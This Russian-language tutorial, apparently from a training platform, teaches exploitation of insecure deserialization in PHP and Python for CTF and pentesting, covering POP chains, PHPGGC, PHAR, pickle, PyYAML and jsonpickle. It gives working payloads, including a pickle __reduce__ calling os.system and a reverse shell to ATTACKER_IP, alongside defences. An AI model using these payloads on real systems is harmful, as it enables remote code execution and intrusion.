
На CTF три команды из десяти решили веб-задачу за первые 30 минут: unserialize() на cookie, три класса в исходнике, POP-цепочка до system(), флаг в stdout. Остальные семь потратили часы — потому что не умели читать сериализованную строку побайтно и строить цепочку вызовов руками. Я видел это не раз.
Небезопасная десериализация (CWE-502 — Deserialization of Untrusted Data) входит в OWASP A08:2021 — Software and Data Integrity Failures. Штука, где от обнаружения точки входа до удалённого выполнения кода — один HTTP-запрос. Один. В продакшене CVE-2015-4852 — Java-десериализация в Oracle WebLogic Server (CVSS 9.8, CRITICAL) через Apache Commons Collections gadget chain в T3-протоколе — эксплуатировалась массово: EPSS 0.96 (top 1% среди всех CVE), в каталоге CISA KEV с 2021 года, SSVC decision — «Act». Scope этой CVE ограничен WebLogic Server (per NVD note), но сам принцип — десериализация недоверенных данных, ведущая к RCE — универсален и переносится на PHP/Python без оговорок. На CTF ставки ниже, но навыки те же. Разберём оба стека — PHP и Python — с акцентом на то, что реально забирает флаги.
Прежде чем эксплуатировать PHP unserialize уязвимость, надо научиться читать сериализованную строку как структурированную таблицу свойств. PHP использует текстовый формат, где каждый элемент описан парой «тип:данные».
Типы данных в сериализованном представлении:
| Префикс | Тип | Пример |
|---|---|---|
b |
boolean | b:1 (true), b:0 (false) |
i |
integer | i:42 |
d |
float | d:3.14 |
s |
string (с длиной) | s:5:"hello" |
a |
array (с числом элементов) | a:2:{i:0;s:3:"one";i:1;s:3:"two";} |
O |
object (имя класса + свойства) | O:4:"User":2:{...} |
Разберём конкретную строку побайтно:
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;}
Каждый элемент:
- O:4:"User" — объект класса User (4 символа в имени)
- :2: — два свойства у объекта
- s:8:"username" — имя первого свойства, строка длиной 8
- s:6:"carlos" — значение первого свойства, строка длиной 6
- s:7:"isAdmin" — имя второго свойства, строка длиной 7
- b:0 — значение isAdmin = boolean false
На CTF первое действие опытного игрока — перехватить трафик в Burp, декодировать cookie из base64, увидеть O: в начале и зафиксировать: перед нами PHP-объект. Дальше — анализ свойств. Подменяем b:0 на b:1, и если сервер проверяет if ($user->isAdmin === true) после unserialize() — привилегии администратора получены без единого вызова магического метода. По данным PortSwigger, модификация атрибутов сериализованного объекта — самый простой вектор эксплуатации небезопасной десериализации. И самый недооценённый.
Отдельный трюк для PHP 7.x и ниже: оператор нестрогого сравнения == конвертирует строку в число. Заменяем строковый пароль в сериализованном объекте на i:0 (integer 0) — и проверка 0 == "any_password_string" вернёт true. Сравнение 5 == "5 of something" тоже пройдёт: PHP берёт число из начала строки и плюёт на остаток. В PHP 8+ поведение исправлено: 0 == "string" возвращает false. Но на CTF-площадках старые версии PHP встречаются постоянно, и этот трюк решает задачи за минуты.
Модификация свойств — начальный уровень. Для полноценного RCE через эксплуатацию десериализации объектов нужны магические методы и гаджет-цепочки.
Функция unserialize() выполняет строгую последовательность шагов:
__wakeup() — если метод определён в классеunset(), выход из scope) вызывается __destruct()Три магических метода, которые эксплуатируются чаще всего:
__wakeup() срабатывает сразу после восстановления объекта. Если внутри eval($this->data) или system($this->cmd) и аргументы берутся из свойств объекта — это прямой RCE через одно контролируемое свойство. Бинго.
__destruct() срабатывает при уничтожении объекта. Типичный CTF-паттерн: деструктор вызывает file_put_contents($this->logFile, $this->logData). Контролируя оба свойства, записываем веб-шелл в публичную директорию.
__toString() вызывается при приведении объекта к строке (конкатенация, echo, передача в строковую функцию). В POP-цепочках часто выступает промежуточным звеном: один объект приводится к строке, вызывается __toString(), который дёргает метод другого объекта.
По данным PortSwigger, эксплуатация не всегда ведёт к исполнению команд — возможны чтение/запись файлов, SQL-инъекция, DoS. Но на CTF обычно ищут именно путь к RCE.
Гаджет-цепочка (gadget chain, она же POP chain — Property-Oriented Programming) — последовательность вызовов методов разных классов, где выход одного становится входом следующего. В конце цепочки — sink: system(), exec(), eval(), file_put_contents().
Алгоритм сборки на CTF:
unserialize() с пользовательскими данными — точка входаТипичный CTF-сценарий: в исходнике три класса. Класс Logger с деструктором, который вызывает file_put_contents($this->logFile, $this->logData). Класс DatabaseExport с деструктором $this->data->close($this->user). Класс CommandRunner с методом close($arg), внутри которого system($this->cmd . " " . $arg).
Цепочка: создаём объект DatabaseExport, в свойство $data помещаем CommandRunner с нужной командой, в $user — пустую строку. При уничтожении DatabaseExport вызовется __destruct() → $this->data->close("") → CommandRunner::close("") → system("cat /flag "). Как матрёшка — один объект внутри другого.
$runner = new CommandRunner();
$runner->cmd = "cat /flag";
$export = new DatabaseExport();
$export->data = $runner;
$export->user = "";
echo urlencode(serialize($export));
Полученный payload передаётся в параметр, обрабатываемый unserialize(). Деструктор сработает при завершении скрипта — флаг вернётся в HTTP-ответе. POP-цепочка работает только если все классы из цепочки доступны в контексте выполнения (загружены через include, require или autoloader). На CTF это обычно гарантировано, но проверять стоит.
Не всегда цепочку нужно собирать руками. Если приложение крутится на популярном фреймворке (Laravel, Symfony, Yii, Magento, WordPress), в его кодовой базе уже есть классы с подходящими магическими методами. Утилита PHPGGC — аналог ysoserial для Java — содержит готовые цепочки для десятков фреймворков.
Базовое использование: phpggc Laravel/RCE1 system "cat /flag" генерирует сериализованный объект для Laravel. Просмотр всех цепочек: phpggc -l. Генерация в base64: phpggc -b Laravel/RCE1 system id. Для разных версий фреймворка — разные цепочки: Laravel/RCE1 может не сработать на Laravel 10, но Laravel/RCE5 подойдёт.
На CTF перед запуском PHPGGC нужно определить фреймворк и версию:
- Заголовок X-Powered-By или cookie с характерным именем (laravel_session, XDEBUG_SESSION, PHPSESSID)
- Структура URL и ответ на несуществующий маршрут (whoops-страница Symfony, debug-page Laravel)
- Содержимое composer.json или composer.lock (если удалось стянуть через path traversal, .git/ или backup-файлы)
PHPGGC работает только если на сервере доступен код фреймворка с нужными классами. Авторы CTF-задач повышенной сложности любят подкидывать кастомные классы, для которых автоматизация бесполезна — и тут пригождается навык ручной сборки POP-цепочки.
По данным HackTricks, иногда можно злоупотреблять не только кодом фреймворка, но и расширениями PHP, загруженными на сервере. Проверить их можно через phpinfo() — если он торчит наружу.
PHAR-архивы (PHP Archive) содержат сериализованные метаданные в заголовке. PHP автоматически десериализует их при обращении к файлу через потоковую обёртку phar://. Даже без прямого вызова unserialize() в коде файловая операция с контролируемым путём становится точкой входа. Неожиданно, правда?
Условия эксплуатации:
- Возможность загрузить файл на сервер (форма загрузки, аватар, импорт CSV)
- Возможность обратиться к файлу через phar:// (контролируемый путь в fopen(), file_get_contents(), file_put_contents(), copy(), unlink() или другой файловой функции, открывающей содержимое потока через phar://; функции вроде file_exists(), is_dir(), filemtime(), работающие через stat(), как правило НЕ триггерят десериализацию метаданных)
Схема атаки на CTF:
phpggc -p phar -o exploit.phar Laravel/RCE1 system idmv exploit.phar exploit.jpg — PHAR не привязан к расширениюphar://uploads/exploit.jpg — PHP десериализует метаданные, цепочка сработаетПо данным PortSwigger, PHAR-десериализация расширяет поверхность атаки именно потому, что разработчики не ожидают десериализацию в файловых операциях. На CTF этот вектор встречается в задачах уровня medium-hard, где прямой unserialize() отсутствует.
В PHP для небезопасной десериализации RCE нужны подходящие классы с магическими методами. В Python всё радикально проще: модуль pickle позволяет выполнить произвольный код без каких-либо дополнительных условий. Официальная документация Python прямо предупреждает: «Never unpickle data received from an untrusted or unauthenticated source». И это не формальность — это крик души разработчиков.
Ключевой механизм: магический метод __reduce__() возвращает кортеж из вызываемого объекта (callable) и аргументов. При десериализации pickle вызывает callable с указанными аргументами. Если callable = os.system, а аргумент = shell-команда — полноценный RCE. Никаких гаджет-цепочек, никакого поиска подходящих классов. Просто берёшь и выполняешь.
import pickle, os, base64
class Exploit:
def __reduce__(self):
return (os.system, ("cat /flag",))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload.decode())
Payload передаётся в base64-кодированном виде через cookie, POST-параметр или WebSocket-сообщение. Признак pickle-данных — magic bytes \x80\x0N (где N — версия протокола от 0 до 5) после base64-декодирования. В Python 3.8+ протокол по умолчанию — 5, поэтому чаще всего встретится \x80\x05. Увидели эти байты в перехваченном трафике — сразу понятно: Python pickle, точка входа для RCE.
Для reverse shell достаточно заменить команду: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1. В терминологии MITRE ATT&CK это Exploit Public-Facing Application (T1190, Initial Access) с последующим выполнением через Unix Shell (T1059.004, Execution) или Python (T1059.006, Execution).
Фундаментальное отличие от PHP: не нужно искать подходящие классы в codebase. Любой endpoint, вызывающий pickle.loads() на пользовательских данных — готовый RCE. Задачи с pickle на CTF обычно сложнее не в эксплуатации, а в обнаружении точки входа: pickle-данные могут быть спрятаны в Redis-кеше, Celery-задаче, ML-модели или session-хранилище Flask.
Нюанс с протоколами: Python pickle имеет версии от 0 до 5. Python 2 (EOL с 2020 года) поддерживает только протоколы 0–2, а в Python 3.8+ протокол по умолчанию — 5. На современных CTF Python 2 встречается крайне редко, но если задача использует Python 2 и payload сгенерирован с protocol=3 или выше — десериализация не произойдёт, unpickler в Python 2 не поддерживает протоколы 3+. Для legacy-задач безопаснее генерировать с protocol=2: pickle.dumps(Exploit(), protocol=2). Для Python 3 (даже старых версий 3.x) unpickler обратно совместим со всеми протоколами 0–5, и протокол по умолчанию работает без проблем.
Pickle — не единственный вектор в Python. Два других варианта регулярно всплывают на CTF:
PyYAML — функция yaml.load() без указания Loader=yaml.SafeLoader поддерживает Python-специфичные теги, позволяющие инстанцировать объекты при парсинге. Вредоносный YAML-документ !!python/object/apply:os.system args: ['id'] выполнит команду id при загрузке через yaml.load(user_input). Исправление тривиально: yaml.safe_load() вместо yaml.load(). На CTF YAML-десериализация появляется в задачах с конфигурационными файлами, CI/CD pipeline и DevOps-тематикой.
jsonpickle — библиотека, сохраняющая информацию о Python-типах в JSON. Вызов jsonpickle.decode() на пользовательских данных позволяет внедрить payload через ключ py/reduce: {"py/reduce": [{"py/function": "builtins.eval"}, {"py/tuple": ["__import__('os').system('id')"]}]}. По данным RedFoxSec, jsonpickle-эксплойт доставляется обычным HTTP-запросом с Content-Type: application/json, что делает его менее заметным для WAF по сравнению с бинарным pickle.
На CTF jsonpickle и PyYAML встречаются реже чистого pickle, но когда встречаются — часто застают команды врасплох. Никто не ждёт десериализацию от YAML-парсера.
Прежде чем строить payload, нужно определить тип десериализации. Практические маркеры:
| Признак | Язык | Следующий шаг |
|---|---|---|
O: после base64-декодирования |
PHP | Искать unserialize(), пробовать модификацию свойств |
Magic bytes \x80\x03 / \x80\x04 |
Python (pickle) | Генерировать __reduce__ payload |
rO0AB в base64 или AC ED в hex |
Java | Использовать ysoserial (нужна гаджет-библиотека в classpath сервера, например Apache Commons Collections, как в CVE-2015-4852) |
!!python/object в YAML |
Python (PyYAML) | Подставить !!python/object/apply:os.system |
py/reduce в JSON-теле |
Python (jsonpickle) | Собрать JSON payload с py/function |
X-Powered-By: PHP + base64 cookie |
PHP | Декодировать и проверить формат |
Server: Werkzeug / gunicorn |
Python | Искать pickle/YAML endpoints |
На CTF первым делом перехватываем весь трафик через Burp Proxy, декодируем все base64-параметры и проверяем magic bytes. Пара минут — и вектор атаки как на ладони.
Отдельный паттерн CTF-задач: исходный код выдаётся частично. Вызов unserialize() виден, но определения классов скрыты. Тут нужно либо найти утечку исходников (директория .git/, backup-файлы .bak/.swp, phpinfo() с include_path), либо перебирать имена классов через пустой объект O:N:"ClassName":0:{} и анализировать ответ сервера — ошибка «class not found» отличается от успешной десериализации.
Ещё один маркер: если в задаче выдан Dockerfile или docker-compose.yml, проверьте зависимости. Строка RUN composer require laravel/framework в Dockerfile = PHPGGC. Строка pip install flask = потенциальный pickle в сессиях (при этом рекомендуется обновить Flask до последней версии, устраняющей известные DoS-уязвимости, такие как GHSA-562c-5r94-xh97 и GHSA-5wv5-4vpf-pj6m — конкретные исправленные версии указаны в соответствующих advisory). Строка pip install pyyaml без pyyaml>=6.0 = потенциальный unsafe yaml.load().
Ошибки, которые регулярно стоят флагов на CTF:
Неправильная длина строки в PHP payload. После замены s:4:"user" на "admin" забывают обновить числовой указатель: должно быть s:5:"admin". PHP парсер строг к формату — несовпадение длины = ошибка десериализации, payload не сработает. Я на это наступал раз пять, прежде чем приучил себя генерировать payload скриптом через echo serialize($obj);.
Путаница с видимостью свойств. Protected-свойства сериализуются с нулевыми байтами: \x00*\x00propertyName. Private — с \x00ClassName\x00propertyName. В текстовом редакторе нулевые байты теряются, и payload ломается. Решение то же: генерация скриптом. Если нужно передать payload через URL — urlencode() корректно обработает нулевые байты.
Игнорирование allowed_classes в PHP. Начиная с PHP 7.0, unserialize() принимает массив опций: unserialize($data, ['allowed_classes' => false]) — полный запрет инстанцирования объектов. Или whitelist: ['allowed_classes' => ['SafeModel']]. По данным HackTricks, на PHP < 7.0 этот параметр не поддерживается вообще, и любой вызов unserialize() потенциально опасен. Перед построением цепочки смотрите исходник на наличие этой защиты.
Пропуск контекста исполнения. Команда cat /flag сработает только если файл существует и процесс имеет права на чтение. На CTF флаг бывает в /home/ctf/flag.txt, в переменной окружения (env | grep FLAG), в базе данных. Начинайте с id и ls / для разведки, потом — целевая команда.
Защитные механизмы, которые встречаются в CTF-задачах повышенной сложности:
.env, git-истории, через SSRF к metadata-сервису облачного провайдераjson_decode() вместо unserialize() — JSON не воссоздаёт объекты, только примитивы и массивыyaml.safe_load() вместо yaml.load() — отключает Python-специфичные тегиМасштаб проблемы в продакшене подтверждает CVE-2015-4852: десериализация в Oracle WebLogic Server версий 10.3.6.0, 12.1.2.0, 12.1.3.0 и 12.2.1.0 позволяла удалённое выполнение команд через T3-протокол без аутентификации. Вектор AV:N/AC:L/PR:N/UI:N — сетевой доступ, низкая сложность, без привилегий, без взаимодействия пользователя. CWE-502 — та самая Deserialization of Untrusted Data. Уязвимость эксплуатировалась в дикой природе с 2021 года, включена в каталог CISA KEV, SSVC — «Act» с пометками: Exploitation = active, Automatable = yes, Technical Impact = total.
Навык построения POP-цепочки переносится с CTF на пентест один к одному. Разница — в масштабе последствий. Но есть проблема, которую мало кто проговаривает: большинство CTF-игроков учат десериализацию как «трюк с PHPGGC» — запустил утилиту, получил payload, вставил, забрал флаг. На реальном пентесте PHPGGC бесполезен, если приложение не на Laravel или Symfony, а на кастомном фреймворке с уникальными классами. Ручная сборка POP-цепочки — навык, который отделяет тех, кто решает CTF-задачи средней сложности, от тех, кто берёт хард-таски и находит RCE в нестандартном коде.
Вторая неудобная вещь: разработчики продолжают использовать pickle.loads() и unserialize() на пользовательских данных, потому что «JSON не сохраняет типы» и «pickle удобнее для кеширования». Удобство заканчивается в момент, когда атакующий подставляет __reduce__ с os.system. Архитектурное решение — не десериализовать пользовательские данные нативными механизмами языка — единственное, которое реально работает. Regex-фильтрация, blacklist классов, проверка magic bytes — всё обходится. Если хочешь не просто writeup, а пройти всю атаку от разведки до RCE самому — на WAPT эта тема разобрана в лабах с менторской поддержкой при затыке.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...